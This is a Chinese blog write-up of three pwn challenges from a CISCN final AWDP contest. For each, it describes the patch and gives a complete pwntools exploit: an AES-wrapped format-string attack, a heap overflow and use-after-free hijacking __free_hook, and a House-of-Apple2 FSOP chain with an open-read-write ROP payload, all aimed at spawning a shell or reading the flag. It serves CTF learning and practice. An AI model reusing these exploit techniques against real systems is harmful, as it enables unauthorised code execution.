ciscn_final_awdp复现

anime

fix

程序的洞还是比较简单的,一个很明显的格式化字符串

image-20240727170449014

把call printf改成call puts就行了

image-20240727170757086

image-20240727170830701

image-20240727170839727

break

当时比赛是断网,难点是readline里面有个aes的解密,可能很多师傅不太会写aes的加密脚本,所以当时做出来的人也不是很多

大概思路就是写出对应的aes加密脚本,然后就是常规的非栈上格式化字符串的套路,先把i改成负数,然后将返回地址改低位改成onegadget就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *
from ctypes import *
from struct import pack
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from base64 import b64encode,b64decode
import base64
banary = "./pwn"
elf = ELF(banary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '123.57.149.79'
port = 16274
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def encrypt(raw, key):
raw = pad(raw,16)
cipher = AES.new(key, AES.MODE_ECB)
return base64.b64encode(cipher.encrypt(raw)).decode("utf-8")

def decrypt(enc, key):
enc = base64.b64decode(enc)
cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
return unpad(cipher.decrypt(enc),16)

key=[0x7B,0xF3,0x5c,0xd6,0x9c,0x47,0x5D,0x5E,0x6F,0x1D,0x7A,0x23,0x18,0x7B,0x0F9,0x34]
password = binascii.unhexlify('7bf35cd69c475d5e6f1d7a23187bf934')


ru("linsir want to know your name\n")
sl(b'youlin')

ru("your favourite anime:")
text = b'%15$p%17$p%19$p'.ljust(32,b'\x00')
aes = AES.new(password,AES.MODE_ECB)

payload = aes.encrypt(text)
sl(payload)

ru("0x")
libcbase=int(io.recv(12),16)-0x24083
lg("libcbase")
one=[0xe3afe,0xe3b01,0xe3b04]
one_gadget=libcbase+one[1]
lg("one_gadget")

ru("0x")
stack=int(io.recv(12),16)
lg("stack")
ret_addr=stack-0xf0
i_addr=stack-0x124
lg("i_addr")

ru("0x")
base=int(io.recv(12),16)-0x150f
lg("base")

ru("what's your favourite anime:")
text = b'%'+str(i_addr&0xffff).encode()+b'c%17$hn'
text = text.ljust(0x30,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
sl(payload)

ru("what's your favourite anime:")
text = b'%'+str(0xffff).encode()+b'c%45$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)

ru("what's your favourite anime:")
text = b'%'+str(ret_addr&0xffff).encode()+b'c%17$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)

ru("what's your favourite anime:")
text = b'%'+str(one_gadget&0xffff).encode()+b'c%45$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)
lg("one_gadget")

ru("what's your favourite anime:")
text = b'%'+str((ret_addr+2)&0xffff).encode()+b'c%17$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)

ru("what's your favourite anime:")
text = b'%'+str((one_gadget>>16)&0xffff).encode()+b'c%45$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)

ru("what's your favourite anime:")
text = b'%'+str(i_addr&0xffff).encode()+b'c%17$hn'
text = text.ljust(0x30,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
sl(payload)

ru("what's your favourite anime:")
text = b'%'+str(1).encode()+b'c%45$hn'
text = text.ljust(0x40,b'\x00')
aes = AES.new(password,AES.MODE_ECB)
payload = aes.encrypt(text)
s(payload)

ia()

ezheap

fix

这题有点玄学,我们队最开始做的时候没有看到后面还有堆溢出,只把uaf修了就上传上去了,结果给过了???

修uaf就是把指针置零就可以了,这题还可以改段权限,check是我打awdp见过最松的了

image-20240727205753254

image-20240727205947516

image-20240727210002258

break

当时做的比较慢,一直被json解析的格式难住了,直到最后才把格式写出来

有堆溢出,有uaf,直接打free_hook就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def add(index,lenth=0x400,content=b'youlin'):
ru("Please input:")
json=b'{"choice":"new","index":'+str(index).encode()+b',"length":'+str(lenth).encode()+b',"message":"'+content+b'"}'
sl(json)

def delete(index,lenth=0x400,content=b'youlin'):
ru("Please input:")
json=b'{"choice":"rm","index":'+str(index).encode()+b',"length":'+str(lenth).encode()+b',"message":"'+content+b'"}'
sl(json)

def show(index,lenth=0x400,content=b'youlin'):
ru("Please input:")
json=b'{"choice":"view","index":'+str(index).encode()+b',"length":'+str(lenth).encode()+b',"message":"'+content+b'"}'
sl(json)

def edit(index,content=b'youlin'):
ru("Please input:")
json=b'{"choice":"modify","index":'+str(index).encode()+b',"length":'+str(len(content)).encode()+b',"message":"'+content+b'"}'
sl(json)

add(0)
add(1)
add(2,0x100)
edit(0,b'A'*0x650+b'B'*8+b'\x71\x07')

delete(1)
add(3,0x78,b'')
edit(3,b'A')


show(3)
libcbase=uu64()-0x1ecb41
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']


delete(3)
edit(3,b'A'*0x10)
delete(3)
edit(3,p64(free_hook)[:6])
add(4,0x78,b'/bin/sh')
add(5,0x78,p64(system)[:6])

delete(4)

ia()

chr

fix

较常规的菜单题,就多了个convert的功能,其他几个功能都没有什么洞,那自然就看convert了

image-20240727210427717

当时断网,还不清楚这里什么功能,但是也能猜到这下面的memcpy应该是能造成堆溢出,然后把n改成一个小一点的数字这里的check就过了

image-20240727210553864

break

这里在赛后查了一下是什么功能,就是一个中文的转换,然后会造成堆溢出

后面的攻击就比较常规了,改size覆盖其他堆块,然后泄露出libc改_IO_list_all为堆上的地址,最后打apple2的链子就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def cmd(choice):
ru("choice >> ")
sl(str(choice))

def add(size,content=b'youlin'):
cmd(1)
ru("size:")
sl(str(size))
ru("content:")
s(content)

def delete(index):
cmd(2)
ru("idx:")
sl(str(index))

def edit(index,content):
cmd(3)
ru("idx:")
sl(str(index))
ru("content:")
s(content)

def show(index):
cmd(4)
ru("idx:")
sl(str(index))

def convert(index):
cmd(5)
ru("idx:")
sl(str(index))

for i in range(0x8):
add(0x108)
#0-7

edit(0,b'A'*0x100+'坤'.encode('UTF-8')+b'\x51\x05')
convert(0)

delete(1)

for i in range(6):
add(0x210)
#8-12

show(3)
ru("content:")
libcbase=u64(io.recv(6).ljust(8,b'\x00'))-0x203b20
lg("libcbase")
one=[0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
onegadget=libcbase+one[1]
l_next=libcbase+0x3fe890
rtld_global=libcbase+0x3fd040
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
setcontext=libcbase+libc.sym['setcontext']+61
_IO_list_all = libcbase + 0x2044c0
ret=libcbase+0x000000000002882f
pop_rdi=libcbase+0x000000000010f75b
leave_ret=libcbase+0x00000000000299d2
swapcontext=libcbase+0x000000000005814D
svcudp_reply=libcbase+0x000000000017923D
one=[0x583dc,0x583e3,0xef4ce,0xef52b]
one_gadget=libcbase+one[3]
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rsi=libcbase+0x0000000000110a4d
syscall_ret=libcbase+0x0000000000098fa6
pop_rdx=libcbase+0x00000000001a1034#pop rdx; add rdi, rsi; xor eax, eax; cmp rdx, rsi; cmova rax, rdi; ret;
pop_rax=libcbase+0x00000000000dd237

add(0x108)#13
add(0x108)#14
delete(13)
delete(14)

show(3)
ru("content:")
key=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-1
heapbase=key<<12
heapbase=heapbase-0x6000
lg("heapbase")

edit(4,p64(_IO_list_all^(key+1)))
add(0x108)#15
add(0x108,p64(heapbase+0x75e0-0x10))#16

fake_heap=heapbase+0x2a10
heap1=fake_heap+0x88
IO_wfile_jumps = libcbase + 0x202228#_IO_wfile_jumps
add(0x410)#17
lg("fake_heap")
lg("heap1")

fake_file = b''
fake_file = p64(0)+p64(1)
fake_file= fake_file.ljust(0x28,b'\x00')+p64(heap1)
fake_file = fake_file.ljust(0x68,b'\x00')+p64(fake_heap)
fake_file = fake_file.ljust(0x80,b'\x00')+p64(fake_heap)
fake_file = fake_file.ljust(0xb8,b'\x00')+p64(IO_wfile_jumps)
payload = cyclic(0x10)+fake_file
edit(0,payload)

flag_addr=heapbase+0x2d10
orw=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(syscall_ret)
orw+=p64(pop_rdx)+p64(0x50)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(fake_heap+0x300)+p64(pop_rax)+p64(0)+p64(syscall_ret)
orw+=p64(pop_rdx)+p64(0x50)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(fake_heap+0x300)+p64(pop_rax)+p64(1)+p64(syscall_ret)

payload = b''
payload = payload.ljust(0x58,b'\x00')+p64(svcudp_reply)
payload = payload.ljust(0xa0,b'\x00')+p64(fake_heap+0x120-0x28)+p64(ret)
payload = payload.ljust(0xc0,b'\x00')+p64(fake_heap)+p64(0)*3+p64(fake_heap-0x10)+p64(0)
payload +=b'\x00'*0x28+p64(fake_heap)
payload +=p64(swapcontext)
payload = payload.ljust(0x128,b'\x00')+p64(fake_heap+0x130)+p64(ret)+orw
payload = payload.ljust(0x168,b'\x00')+p64(fake_heap)
payload = payload.ljust(0x300,b'\x00')+b'flag\x00'
edit(15,payload)


cmd(6)

ia()

ciscn_final_awdp复现
http://blogyoulin.top/2024/07/27/ciscn-final-awdp复现/
Author
John Doe
Posted on
July 27, 2024
Licensed under